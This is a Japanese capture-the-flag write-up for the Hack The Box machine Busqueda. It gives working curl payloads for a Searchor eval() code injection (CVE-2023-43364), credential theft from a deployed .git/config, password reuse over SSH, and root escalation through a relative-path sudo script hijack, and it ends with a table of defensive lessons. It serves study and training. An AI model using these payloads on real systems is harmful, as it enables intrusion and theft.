Hack The BoxのWriteup(Busqueda)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Busqueda — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/80(Apache)
→
Searchor 2.4.0 eval()注入
CVE-2023-43364
→
RCE → user.txt ✓
→
.git/config漏洩
cody:jh1usoih2bkjaspwe92
→
SSH svc
資格情報使い回し
→
sudo system-checkup.py *
相対パス依存のバグ
→
/tmp に偽 full-checkup.sh
CWDハイジャック
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン & vhostの確認

BASH
nmap -sV -sC -p 22,80 10.129.92.62
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Searcher
ℹ️
/etc/hostsにsearcher.htb・gitea.searcher.htbを追加。 サイトは検索エンジンを選んでクエリを投げる単純なFlaskアプリ「Searcher」で、 SearchorというPythonライブラリ(検索URLを組み立てるだけのgem)を使用。
PHASE 2

Searchor 2.4.0 の eval() コード注入 (CVE-2023-43364)

脆弱性の概要

NOTE
Searchor 2.4.0 は検索クエリ文字列をURLに埋め込む際、内部で Python の eval() に
ユーザー入力をそのまま渡してf-string相当の文字列補間を行っている。
そのため query パラメータに Python式を閉じるクォートと式を混入させれば、
サーバー側で任意のPythonコード(ひいては任意のOSコマンド)を実行できる。

RCEペイロードの送信

BASH
curl -s -X POST -d "engine=Google" --data-urlencode \
  "query=')+str(__import__('os').popen('id').read())#" \
  http://searcher.htb/search
RESULT
https://www.google.com/search?q=uid=1000(svc) gid=1000(svc) groups=1000(svc)
✅
RCE確定。ペイロードの構造: 元の文字列結合式を')で閉じ、 +str(__import__('os').popen(CMD).read())でコマンド実行結果を文字列として 連結し、末尾の#で元のコードの残り部分をコメントアウトして構文エラーを防ぐ。 実行結果はそのままGoogle検索URLのq=パラメータとして レスポンスに反映される(エラーに頼らない、きれいな形でのRCE出力確認方法)。

user.txt取得

BASH
curl -s -X POST -d "engine=Google" --data-urlencode \
  "query=')+str(__import__('os').popen('cat /home/svc/user.txt').read())#" \
  http://searcher.htb/search
RESULT
https://www.google.com/search?q=429b24945ae715123f05dfecf9485e71
user.txt — svc (RCE経由でファイル直読み)
429b24945ae715123f05dfecf9485e71
ℹ️
この時点でRCE自体はsvc権限なので安定したシェルでなくとも catコマンドでフラグファイルを直接読める。
PHASE 3

デプロイ済みアプリの .git/config から資格情報を窃取

.git/config を読み取る

BASH
curl -s -X POST -d "engine=Google" --data-urlencode \
  "query=')+str(__import__('os').popen('cat /var/www/app/.git/config').read())#" \
  http://searcher.htb/search
RESULT
[remote "origin"]
	url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
🚨
デプロイ時にgit cloneでHTTPS/HTTP経由の認証情報付きURLをそのまま 使ってしまったため、サーバー上の.git/configに平文の資格情報が 残ってしまっている。典型的な「開発用の便利さが本番環境に残留した」ケース。
PHASE 4

資格情報の使い回しでSSHログイン(安定シェル確立)

svcとしてSSHログイン

BASH
sshpass -p 'jh1usoih2bkjaspwe92' ssh svc@10.129.92.62 \
  "id; cat /home/svc/user.txt"
RESULT
uid=1000(svc) gid=1000(svc) groups=1000(svc)
429b24945ae715123f05dfecf9485e71
ℹ️
Gitリポジトリ(Gitea)用の資格情報cody:jh1usoih2bkjaspwe92のパスワード部分が、 OSアカウントsvcのSSHログインパスワードとしてもそのまま有効 だった。RCEは既に成立しているが、SSHで安定したシェルを得ておくと 以降の権限昇格調査がずっと楽になる。
PHASE 5

sudoで実行可能なスクリプトの相対パス依存を発見

sudo -l でroot実行可能なコマンドを確認

BASH
svc@busqueda:~$ sudo -l
RESULT
User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *
ℹ️
スクリプト自体のソースはsvcに読み取り権限が無い(catすると Permission denied)が、sudo経由で実行することは許可されているため、 引数なし・誤った引数で実行してエラーメッセージやUsage表示から挙動を推測する。

引数の挙動を調べる

BASH
svc@busqueda:~$ echo 'jh1usoih2bkjaspwe92' | sudo -S /usr/bin/python3 /opt/scripts/system-checkup.py help
RESULT
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)

     docker-ps      : List running docker containers
     docker-inspect : Inpect a certain docker container
     full-checkup   : Run a full system checkup

full-checkup の挙動確認 — カレントディレクトリ依存

BASH
# ホームディレクトリで実行してみる
svc@busqueda:~$ cd /home/svc && echo 'jh1usoih2bkjaspwe92' | \
  sudo -S /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
RESULT
Something went wrong
🚨
full-checkupを実行すると「何かがうまくいかなかった」旨のエラーが出る。 これはスクリプト内部で./full-checkup.shのような相対パスの シェルスクリプトを呼び出そうとしているが、/home/svcにはそのファイルが 存在しないため失敗していると推測できる。sudoはカレントディレクトリを 引き継ぐため、svcが書込可能なディレクトリでこのコマンドを実行すれば、 自作のfull-checkup.shをroot権限で実行させられる。
PHASE 6

相対パスハイジャックでroot.txt取得

/tmp に偽の full-checkup.sh を設置

BASH
svc@busqueda:~$ printf '#!/bin/bash\ncat /root/root.txt > /tmp/rf.txt\nchmod 644 /tmp/rf.txt\n' \
  > /tmp/full-checkup.sh
svc@busqueda:~$ chmod +x /tmp/full-checkup.sh

/tmp をカレントディレクトリとしてsudo実行

BASH
svc@busqueda:~$ cd /tmp
svc@busqueda:/tmp$ echo 'jh1usoih2bkjaspwe92' | \
  sudo -S /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
svc@busqueda:/tmp$ cat /tmp/rf.txt
RESULT
[+] Done!
ed56ff868d4280e28903c083dbbfee8f
✅
今度は「[+] Done!」と正常終了。/tmpに置いた 自作のfull-checkup.shがroot権限で実行され、 /root/root.txtの内容がsvcでも読める /tmp/rf.txtにコピーされた。
root.txt — root (相対パスハイジャック経由)
ed56ff868d4280e28903c083dbbfee8f
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — svc
429b24945ae715123f05dfecf9485e71
root.txt — root
ed56ff868d4280e28903c083dbbfee8f

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
CVE-2023-43364 (Searchor eval() コード注入) Searchor 2.4.0 ライブラリ (/search エンドポイント) リモートコード実行 Critical 検索クエリ文字列を閉じて__import__('os').popen()を注入し、結果をURLに反映させて確認
デプロイ済みアプリの.git/config残留 /var/www/app/.git/config Gitea資格情報の漏洩 High RCEで直接ファイルを読み、認証情報付きclone URLから資格情報を抽出
資格情報の使い回し Gitea用パスワード = OSログインパスワード SSH経由での安定シェル取得 Medium 漏洩したパスワードでそのままSSHログイン
sudo実行スクリプトの相対パス依存 /opt/scripts/system-checkup.py full-checkup 権限昇格(一般ユーザー → root) Critical スクリプトがカレントディレクトリの./full-checkup.shを呼び出す設計を悪用し、書込可能なディレクトリに偽スクリプトを配置

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + vhost追加22(SSH)/80(Apache searcher.htb)
2RCESearchor eval()コード注入user.txt(svc権限での直接ファイル読取)
3資格情報窃取RCEで.git/configを読取cody:jh1usoih2bkjaspwe92
4安定シェル確立SSH(資格情報使い回し)svcシェル
5権限調査sudo -l + 挙動観察full-checkup.shの相対パス依存を発見
6権限昇格CWDハイジャックroot.txt

学んだ教訓 & 防御策

問題点防御策
サードパーティライブラリ(Searchor)が既知CVEを含む古いバージョンのまま使用されている 依存ライブラリは定期的に更新し、CVEデータベースと照合する。ユーザー入力をeval()等の動的コード評価に渡す設計自体を根本的に避ける。
本番環境に開発用の.gitディレクトリ(認証情報付きリモートURL込み)が残存 デプロイパイプラインで.gitディレクトリを本番成果物から除外する。認証情報付きURLではなくSSH鍵やトークンベースの認証を使う。
異なるサービス間でパスワードを使い回している サービスごとに独立した資格情報を発行し、使い回しを禁止する運用ルールを徹底する。
root権限で実行を許可するスクリプトがカレントディレクトリ依存の相対パスで外部ファイルを呼び出している root権限で実行するスクリプトは呼び出す全てのファイルを絶対パスで指定し、実行時のカレントディレクトリに依存しない設計にする。
HackTheBox: Busqueda | 完全攻略レポート